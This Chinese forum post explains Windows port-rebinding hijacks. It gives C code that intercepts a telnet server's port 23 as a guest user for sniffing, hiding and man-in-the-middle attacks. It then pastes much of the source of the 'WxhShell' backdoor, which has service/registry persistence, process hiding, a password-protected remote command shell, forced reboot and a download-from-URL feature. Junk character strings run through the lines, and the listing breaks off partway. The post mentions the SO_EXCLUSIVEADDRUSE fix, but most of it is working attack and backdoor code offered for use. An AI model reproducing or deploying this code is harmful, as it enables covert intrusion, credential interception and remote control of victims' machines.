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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `cO|RhD @  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G;2[  
Qu}N:P9l?X  
  saddr.sin_family = AF_INET; _?Ckq  
)OUU]MUH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c!~T2t  
e?vj+ZlS$f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i puo}  
IozNjII$:.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 thV Tdz  
v$JLDt_  
  这意味着什么?意味着可以进行如下的攻击: @Z=wE3T@  
QRagz, c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 96)v#B?p  
>t,O2~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YE_6OLW  
r]-+bR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {r{>?)O  
hg#c[sZL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0x4l5x$8  
~ a >S#S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dgY5ccP  
ecT]p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s[Gswd  
<)J55++  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R25-/6_V>  
}6@%((9E 2  
  #include W+/2c4$F3  
  #include  h.D^1  
  #include r"[L0Cbb  
  #include    fU` T\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /'"R Mq  
  int main() n531rkK-   
  { qu!<lW~c  
  WORD wVersionRequested; *cQz[S@F  
  DWORD ret; 'rh\CA/}D  
  WSADATA wsaData; m>O2t-  
  BOOL val; ZZwBOGVU  
  SOCKADDR_IN saddr; T"B8;|  
  SOCKADDR_IN scaddr; g6`.qyVfz'  
  int err; bx]1 4}6  
  SOCKET s; \aB&{`iG  
  SOCKET sc; G "c/a8  
  int caddsize; R{ 4u|A?9  
  HANDLE mt; T#/11M$uQ  
  DWORD tid;   AD,@,|A  
  wVersionRequested = MAKEWORD( 2, 2 ); 4NI ' (#l  
  err = WSAStartup( wVersionRequested, &wsaData ); !&6-(q9  
  if ( err != 0 ) { WSSaZ9 =  
  printf("error!WSAStartup failed!\n"); 65t[vi*C  
  return -1; MKe *f%  
  } Lm.Ik}Gli  
  saddr.sin_family = AF_INET; fW[_+r]  
   ~"\P~cg0J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .;j"+Ef   
y "<JE<X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }Uq/kei^P  
  saddr.sin_port = htons(23); ![j(o!6&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |:}L<9Sq  
  { 0x6@{0  
  printf("error!socket failed!\n"); }:"R-s  
  return -1; ELD +:b  
  } P0Aas)!  
  val = TRUE; 83X/"2-K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 75PS^5T,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oX2r?.j#M  
  { KM EXT$p  
  printf("error!setsockopt failed!\n"); gMCy$+?  
  return -1; a3*.,%d  
  } _5Bu [I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <)"iL4 kDI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S [ i$e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \:C%> .VG  
x vHOY:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "_ Zh5 g  
  { 5,Qy/t}K  
  ret=GetLastError(); p~ mN2x]  
  printf("error!bind failed!\n"); :0{AP_tvcC  
  return -1; 0;'j!`l9  
  }  hgNY[,  
  listen(s,2); ;A`IYRzt  
  while(1) A<]&JbIt  
  { ,Z >JvTnH  
  caddsize = sizeof(scaddr); wX@H &)<s  
  //接受连接请求 L/c4"f|.*v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T$f:[ye]Z  
  if(sc!=INVALID_SOCKET) zv&ePq\#  
  { `AB~YX%(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '! #On/  
  if(mt==NULL) rUGZjLIGqz  
  { -<H ri5  
  printf("Thread Creat Failed!\n"); 8U8P g2  
  break; JB641nv  
  } e_tZja2s  
  } iz,]%<_PE  
  CloseHandle(mt); Ug%<b  
  } /abmjV0  
  closesocket(s); 1*TXDo_T  
  WSACleanup(); OA\vT${5  
  return 0; ccIDMJ=2  
  }   6hR^qdHg  
  DWORD WINAPI ClientThread(LPVOID lpParam) D<lQoO+  
  { Cln^1N0  
  SOCKET ss = (SOCKET)lpParam; <aD'$(N5  
  SOCKET sc; 5+o 2 T]  
  unsigned char buf[4096]; VZAuUw+M  
  SOCKADDR_IN saddr; W` WLW8Qsw  
  long num; hqdC9?\  
  DWORD val; `8.1&fBr  
  DWORD ret; IY-(- a8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F0X5dv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "v*oga%  
  saddr.sin_family = AF_INET; Cij$GYkv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >aNbp  
  saddr.sin_port = htons(23); B:B0p+$I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }x{rTEq  
  { ]t8{)r  
  printf("error!socket failed!\n"); sDW"j\  
  return -1; {Q}!NkF 1  
  } U&tfl/  
  val = 100; yd\5Z[iEp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Krt$=:m|1  
  { IptB.bYc  
  ret = GetLastError(); ^\xCqVk_R  
  return -1; 3RBpbTNWp  
  } N[- %0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $w 5#2Za  
  { 0[_O+u  
  ret = GetLastError(); 9/@FADh  
  return -1; m9\@kA  
  } z36brv<_'p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PmuEL@'^ U  
  { WsG"x>1n  
  printf("error!socket connect failed!\n"); 7-g]A2N  
  closesocket(sc); $%N;d>[U,  
  closesocket(ss); u&hDjE  
  return -1; 9Ba%=  
  } 9;;]q?*  
  while(1) Vu_7uSp,)  
  { W)G2Cs?p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H5F\-&cq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uK+9gTv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xg*\j)_}  
  num = recv(ss,buf,4096,0); vWPM:1A  
  if(num>0) DctX9U(  
  send(sc,buf,num,0); 2tg/S=t}  
  else if(num==0) duZ|mT8Q==  
  break; Gd]5xl HRU  
  num = recv(sc,buf,4096,0); ^+.+I cH  
  if(num>0) C}M0XW  
  send(ss,buf,num,0); _RA{SO  
  else if(num==0) j3sz*:  
  break; >x|A7iWn{,  
  } (6b?ir~  
  closesocket(ss); !3b|*].B  
  closesocket(sc); I{*.htt{  
  return 0 ; \FY/eQ*07  
  } +R{A'Yl[(  
0XBBA0t q  
E.zYi7YUKK  
========================================================== XZUB*P}]D  
/h}wM6pg  
下边附上一个代码,,WXhSHELL ;L\!g%a  
{Oc?C:aI=  
========================================================== t(uB66(_F  
>uP{9kDm  
#include "stdafx.h"  )zk?yY6  
( FjsN5  
#include <stdio.h> 14@q$}sf  
#include <string.h> ArEH%e  
#include <windows.h> )sY$\^'WY  
#include <winsock2.h> ;:8jxkx6%  
#include <winsvc.h> e$p1Th*|]4  
#include <urlmon.h>  Xv? S  
$w";*">:0  
#pragma comment (lib, "Ws2_32.lib") 1%]{0P0?[  
#pragma comment (lib, "urlmon.lib") kp#c:ym  
W[jW;uk  
#define MAX_USER   100 // 最大客户端连接数 f//j{P[  
#define BUF_SOCK   200 // sock buffer oJ4mxi@|#  
#define KEY_BUFF   255 // 输入 buffer ';fU.uy  
"R\\\I7u  
#define REBOOT     0   // 重启 ^Yf)lV&[  
#define SHUTDOWN   1   // 关机 dctA`W@:-  
~,M;+T}[r  
#define DEF_PORT   5000 // 监听端口 Q9x` Uy  
MZ|c7f&`  
#define REG_LEN     16   // 注册表键长度 jiw`i  
#define SVC_LEN     80   // NT服务名长度 N~Sue  
~,`\D7Z3  
// 从dll定义API YDZ1@N}^B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w'5dk3$"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CwH)6uA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O)=73e\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fd,}YAiX  
6f5sIg  
// wxhshell配置信息 nCSd:1DY  
struct WSCFG { D/!eov4"  
  int ws_port;         // 监听端口 $J;=Ux)$  
  char ws_passstr[REG_LEN]; // 口令 W:;`  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2\iD;Z#gM  
  char ws_regname[REG_LEN]; // 注册表键名 9^C!,A{u4  
  char ws_svcname[REG_LEN]; // 服务名 ^c[CyZ:a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nfd?@34"A2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;|2;kvf"w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,pGCgOG#}c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u1pYlu9IW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VW<" c 5|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nHhD<a!  
RL]lt0O{  
}; .@/z-OgXg  
Vqv2F @.  
// default Wxhshell configuration DY+8m8!4H  
struct WSCFG wscfg={DEF_PORT, e) /u>I  
    "xuhuanlingzhe", yW6[Fpw  
    1, a s<q  
    "Wxhshell", Lu#@~  
    "Wxhshell", ytBxe]  
            "WxhShell Service", yrK--C8  
    "Wrsky Windows CmdShell Service", 5  a*'N~  
    "Please Input Your Password: ", Um0<I)  
  1, V;(*\"O  
  "http://www.wrsky.com/wxhshell.exe", V"Y Fu^L  
  "Wxhshell.exe" |0vHy7CE  
    }; U%B]N@  
R^Eu}?<f  
// 消息定义模块 +D{*L0$D"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xz Gsfd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 48"Y-TV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !\D] \|Bo  
char *msg_ws_ext="\n\rExit."; iR}i42Cu  
char *msg_ws_end="\n\rQuit."; EuimZW\V  
char *msg_ws_boot="\n\rReboot..."; &0<R:K?>N  
char *msg_ws_poff="\n\rShutdown..."; 7yCx !P;  
char *msg_ws_down="\n\rSave to "; 9|kEq>d  
%N_S/V0`  
char *msg_ws_err="\n\rErr!"; Ll E_{||h  
char *msg_ws_ok="\n\rOK!"; G~$M"@Q7N  
+EB,7<5<  
char ExeFile[MAX_PATH]; 1-Wnc'(OK  
int nUser = 0; DGuUI}|)  
HANDLE handles[MAX_USER]; ?PxYS%D_L  
int OsIsNt; m*Lv,yw %a  
`))J8j"  
SERVICE_STATUS       serviceStatus; KlX |PQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bEXHB  
[@l v]+@  
// 函数声明 "j@IRuH  
int Install(void); HEfA c  
int Uninstall(void); R;-FZ@u/  
int DownloadFile(char *sURL, SOCKET wsh); IM&7h! l"|  
int Boot(int flag); '8pPGh9D  
void HideProc(void); $v}8lBCr3  
int GetOsVer(void); ThqfZl=V  
int Wxhshell(SOCKET wsl); a!J ow?(  
void TalkWithClient(void *cs); D(ntVR  
int CmdShell(SOCKET sock); Bw/H'Y  
int StartFromService(void); /dvnQW4}8  
int StartWxhshell(LPSTR lpCmdLine); &+r ;>  
6_}){ZR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :>-sITeY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !m O] zn  
[F-u'h< *l  
// 数据结构和表定义 Z$=$oJzB  
SERVICE_TABLE_ENTRY DispatchTable[] = M Ut^mu$86  
{ 2D_Vo ])l/  
{wscfg.ws_svcname, NTServiceMain}, t:j07 ,1~  
{NULL, NULL} 6%hEs6-R  
}; [,?A$Z*Z|  
QO`SnN}  
// 自我安装 K}*p(1$u  
int Install(void) mM^8YL  
{ T+`GOFx  
  char svExeFile[MAX_PATH]; O}iKPY8K  
  HKEY key; H=SMDj)s+  
  strcpy(svExeFile,ExeFile); :x5o3xE  
]X;*\-  
// 如果是win9x系统,修改注册表设为自启动 f%%En5e +  
if(!OsIsNt) { i@?<]n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D@ 1^:'$V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H.G^!0j;  
  RegCloseKey(key); ia.B@u1/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [&}<! :9'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;%.k}R%O@  
  RegCloseKey(key); 6!PX! UkF  
  return 0; bIl0rx[`  
    } ]]QCJf@p  
  } {_N(S]Z  
} 4)Wzj4qW  
else { 0+`*8G)  
#UnO~IE.m$  
// 如果是NT以上系统,安装为系统服务 zSufU2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +A3\Hj&W  
if (schSCManager!=0) .8xacVyK2  
{ Ox1QP2t6Y  
  SC_HANDLE schService = CreateService 8n p>#V  
  ( lSv;wwEg  
  schSCManager, n{NgtH\V  
  wscfg.ws_svcname, @{GxQzo  
  wscfg.ws_svcdisp, Gkvd{G?F  
  SERVICE_ALL_ACCESS, :hdh$}y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T{xo_u{Q  
  SERVICE_AUTO_START, (zODV4,5k`  
  SERVICE_ERROR_NORMAL, |y=F ( 6Z  
  svExeFile, ba:^zO^  
  NULL, (j Q6~1  
  NULL, wq`Kyhk  
  NULL, s|`)'  
  NULL, 1ORi]`  
  NULL Q"_T040B  
  ); tl#s:  
  if (schService!=0) 6y!?xot  
  { L. ?dI82c  
  CloseServiceHandle(schService); gx R|S  
  CloseServiceHandle(schSCManager); hf5SpwxLiH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }n8;A;axi  
  strcat(svExeFile,wscfg.ws_svcname); 4gt "dfy+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zC;lfy{f=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e[o ;l  
  RegCloseKey(key); ,+evP=(cX  
  return 0; TTak[e&j3  
    } 3Ya6yz  
  } 'U Cx^-  
  CloseServiceHandle(schSCManager); Eu~wbU"%  
} JU+'UK630  
} KftM4SFbK  
md LJ,w?{  
return 1; >5W"a?(  
} L 'Rapu  
1caod0gor  
// 自我卸载 [m&ZAq  
int Uninstall(void) q9]L!V 9Rv  
{ 7u0R=q  
  HKEY key; 5!p'n#_  
H5t`E^E  
if(!OsIsNt) { @x ]^blq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zhL,BTH  
  RegDeleteValue(key,wscfg.ws_regname); ?E@[~qq_  
  RegCloseKey(key); "$YLU}S9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =i %w_ e  
  RegDeleteValue(key,wscfg.ws_regname); RL8 wSK  
  RegCloseKey(key); ?saVk7Z[|5  
  return 0; Ka2tr]+s  
  } SXF_)1QO\W  
} !}48;Pl  
} /a)=B)NH  
else { Xh!Pg)|E  
GQWTQIl]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wajhFBJ  
if (schSCManager!=0) 1"PE@!]  
{ Ux]@p rAq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9F!&y-  
  if (schService!=0) ~[6|VpGc:  
  { !qv;F?2 <g  
  if(DeleteService(schService)!=0) { k]YGD  
  CloseServiceHandle(schService); W}3vY]  
  CloseServiceHandle(schSCManager); feHAZ.8rp+  
  return 0; *&MkkI#  
  } LRs; >O  
  CloseServiceHandle(schService); >*CK@"o  
  } F x8)jBB_  
  CloseServiceHandle(schSCManager); KK|Jach  
} OUMr}~/  
} >Sah\u`  
4+bsG6i  
return 1; Okc*)crw  
} 8 \Oiv$r  
4tWI)}+ak  
// 从指定url下载文件 H4jqF~  
int DownloadFile(char *sURL, SOCKET wsh) 4/_|Qy  
{ $Bb/GXn{\  
  HRESULT hr; (DAJ(r~  
char seps[]= "/"; 5)6%D  
char *token; ;O>fy :$'  
char *file; 5,Zn$zosJC  
char myURL[MAX_PATH]; X:/t>0e  
char myFILE[MAX_PATH]; P2F>iK#U  
G$<0_0GF  
strcpy(myURL,sURL); Y.#+Yh[  
  token=strtok(myURL,seps); *h6i9V%'  
  while(token!=NULL) 1A`";E&  
  { (0f^Hh wF  
    file=token; LcF3P 4  
  token=strtok(NULL,seps); k =_@1b-  
  } 4y.[tk5  
"<#:\6aym  
GetCurrentDirectory(MAX_PATH,myFILE); H skN(Ho  
strcat(myFILE, "\\"); N3) v,S-  
strcat(myFILE, file); ~G:7*:[b  
  send(wsh,myFILE,strlen(myFILE),0); cw{[B%vw  
send(wsh,"...",3,0); Y1IlH8+0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O2f2Fb$B7  
  if(hr==S_OK) fO nvC*  
return 0; ;wrgpP3  
else ?C3cPt"  
return 1; <^{:K`  
+6atbbe}   
} W^f#xrq>  
X3yr6J[ ^  
// 系统电源模块 R3A^VE;qP  
int Boot(int flag) XT"c7]X  
{ Gy%e%'  
  HANDLE hToken; -&}E:zoe  
  TOKEN_PRIVILEGES tkp; OFv} jT  
566Qik w2  
  if(OsIsNt) { lfP|+=^B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pkx>6(Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RSC-+c6 1  
    tkp.PrivilegeCount = 1; _(foJRr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s=4.Ovd\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +&@0;zSga  
if(flag==REBOOT) { {J$aA6t:"T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wQT'~'kL  
  return 0; 9K!='u`  
} .2xkf@OP  
else { FQ%mNowuj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5FxU=M1gF  
  return 0; >.|gmo>b  
} @Rm/g#!h"  
  } E3!twR*Aw  
  else { iY-dM(_:]  
if(flag==REBOOT) { >Fz$DKr[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HV@:!zM  
  return 0; 5mU_S\)4:z  
} ^>fs  
else { "L]_NS T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `Z-`-IL  
  return 0; j$6}r  
} e^yB9b  
} Fm "$W^H  
8*wI^*Q  
return 1; e+wd>iiB  
} zu#o<6E{  
D 3PF(Wx  
// win9x进程隐藏模块 "|if<hx+  
void HideProc(void) 3nO|A: t  
{ n>WS@b/o  
XJ;/ kR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 00i9yC8@6  
  if ( hKernel != NULL ) N2>JG]G  
  { P*>V6SK>b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ioggD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !_@%/I6  
    FreeLibrary(hKernel); D_Y;N3E/rS  
  } FWg7 e3  
7nmo p7  
return; z( wXs&z;  
} {/ta1&xyG  
'' 6  
// 获取操作系统版本 L6^h3*JyD  
int GetOsVer(void) s6B@:9  
{ ]G:xTv8  
  OSVERSIONINFO winfo; m| Z)h{&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (]:G"W8f  
  GetVersionEx(&winfo); F}Au'D&n_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t(Uoi~#[  
  return 1; #XsqTK_nk  
  else 9L};vkYk#  
  return 0; |NI0zd  
} ?@_dx=su  
rfjQx]3pB  
// 客户端句柄模块 O%r<I*T^r  
int Wxhshell(SOCKET wsl) >KE(%9y~  
{ 7u zN/LAF  
  SOCKET wsh; xk/(| f{L  
  struct sockaddr_in client; B !XT:.+  
  DWORD myID; }49?Z3  
uyj5}F+O  
  while(nUser<MAX_USER) ;c`B '  
{ `d8TA#|`  
  int nSize=sizeof(client); +~-|( y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nMhc3t  
  if(wsh==INVALID_SOCKET) return 1; 5M*p1^ >  
DsoF4&>g[B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <W pz\U  
if(handles[nUser]==0) ?V0IryF;  
  closesocket(wsh); Oe$C5KA>LW  
else C.@TX  
  nUser++; G.Q+"+* ^  
  } 8PQt8G.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /W9=7&R0  
<XNLeJdY  
  return 0; y.zW>Mfl  
} { }z7N~  
r* U6govky  
// 关闭 socket Z1Wra-g  
void CloseIt(SOCKET wsh) tm$3ZzP4  
{ .MKxHM7  
closesocket(wsh); Fq8Z:;C8  
nUser--; [(C lvGx  
ExitThread(0); KLX>QR@  
} M<SZ7^9<  
@c.pOX[]m,  
// 客户端请求句柄 %lBFj/B  
void TalkWithClient(void *cs) }{$@|6)R   
{ HkrNt/]  
N67m=wRx  
  SOCKET wsh=(SOCKET)cs; BEw(SQH  
  char pwd[SVC_LEN]; ?IK[]=!  
  char cmd[KEY_BUFF]; ||hd(_W8  
char chr[1]; aePk^?KbB  
int i,j; *`kh}  
!>M: G:K  
  while (nUser < MAX_USER) { O_ ~\$b  
v"`w'+  
if(wscfg.ws_passstr) { sS._N@f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7j^,4;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .m .v$(  
  //ZeroMemory(pwd,KEY_BUFF); 139_\=5|U/  
      i=0; Y9ru~&/o$  
  while(i<SVC_LEN) { hGsY u)  
{J[0UZ6  
  // 设置超时 k{; 2*6b0  
  fd_set FdRead; V[~/sc )  
  struct timeval TimeOut; Lr`yl$6  
  FD_ZERO(&FdRead); (uSfr]89'  
  FD_SET(wsh,&FdRead); S;Vj5  
  TimeOut.tv_sec=8; [ACa<U/  
  TimeOut.tv_usec=0; um/iK}O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8"+Kz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L!\I>a5C0G  
;X8eZQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #jQITS7  
  pwd=chr[0]; lyP<&<Y5  
  if(chr[0]==0xd || chr[0]==0xa) { RJ`F2b sYN  
  pwd=0; -0Ps. B  
  break; '2eggX%  
  } [l0>pHl@  
  i++; 4g|}]K1s  
    } FbF P  
(f7R~le  
  // 如果是非法用户,关闭 socket qTG/7tn "  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \j4TDCs_[  
} e7-U0rrE  
_di[PU=Vh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Au9Rr3n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aPRF  
BV|LRB}G  
while(1) { "lB[IB)  
o]@?QAu  
  ZeroMemory(cmd,KEY_BUFF); LqNsQu";  
_k&vW(O=:  
      // 自动支持客户端 telnet标准   :AL nm0d  
  j=0; O9bIo]B  
  while(j<KEY_BUFF) { kIyif7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mk}8Cu4  
  cmd[j]=chr[0]; 1$4dzI()  
  if(chr[0]==0xa || chr[0]==0xd) { f mf(5  
  cmd[j]=0; svN& ~@ l  
  break; y6f YNB  
  } @PutUYz  
  j++; _qr?v=,-A  
    } s_/ CJ6s  
rOX\rI%0+  
  // 下载文件 !Eu}ro.}  
  if(strstr(cmd,"http://")) { MGK%F#PM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `$05+UU  
  if(DownloadFile(cmd,wsh)) r3'0{Nn+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ta %yQd7  
  else `#R[x7bA1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W2'u]1bs  
  } &=~Jw5WK  
  else { f-^JI*hj  
#mFIZMTRd  
    switch(cmd[0]) { J.$N<.  
  EjrK.|I0  
  // 帮助 ^8OK.iC  
  case '?': { \Cx2$<8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3v\}4)A[  
    break; Ko: <@h  
  } !Wgi[VB  
  // 安装 !ap}+_IA7^  
  case 'i': { Ejmpg_kux  
    if(Install()) ]De<'x}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XkDIP4v%  
    else 3%P<F>6 J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {{qu:(_g  
    break; p C^d-Ii  
    } MaN6bM  
  // 卸载 3s;^p,9 Y  
  case 'r': { s+DOr$\  
    if(Uninstall()) 50 8v:?^'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <- L}N '  
    else ~wvu7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6/6M.p  
    break; ]jjHIFX  
    } zc K`hS  
  // 显示 wxhshell 所在路径 {u~JR(C:  
  case 'p': { ]lqLC  
    char svExeFile[MAX_PATH]; DHQS7%)f`  
    strcpy(svExeFile,"\n\r"); xa8;"Y~"bg  
      strcat(svExeFile,ExeFile); VYbH:4K@%  
        send(wsh,svExeFile,strlen(svExeFile),0); Kl_(4kQE_  
    break; 3$G &~A{  
    } g8k S}7/  
  // 重启 f\xmv|8  
  case 'b': { wDR/Vr"f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5If.[j{  
    if(Boot(REBOOT)) 4 K5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#=HBSyM  
    else { 5/8=Do](  
    closesocket(wsh); Y \Gx|  
    ExitThread(0); 2)hfYLi  
    } Y O&@  
    break; ]n}aePl}oU  
    } SP.k]@P  
  // 关机 7cB/G:{  
  case 'd': { :er(YWF:  
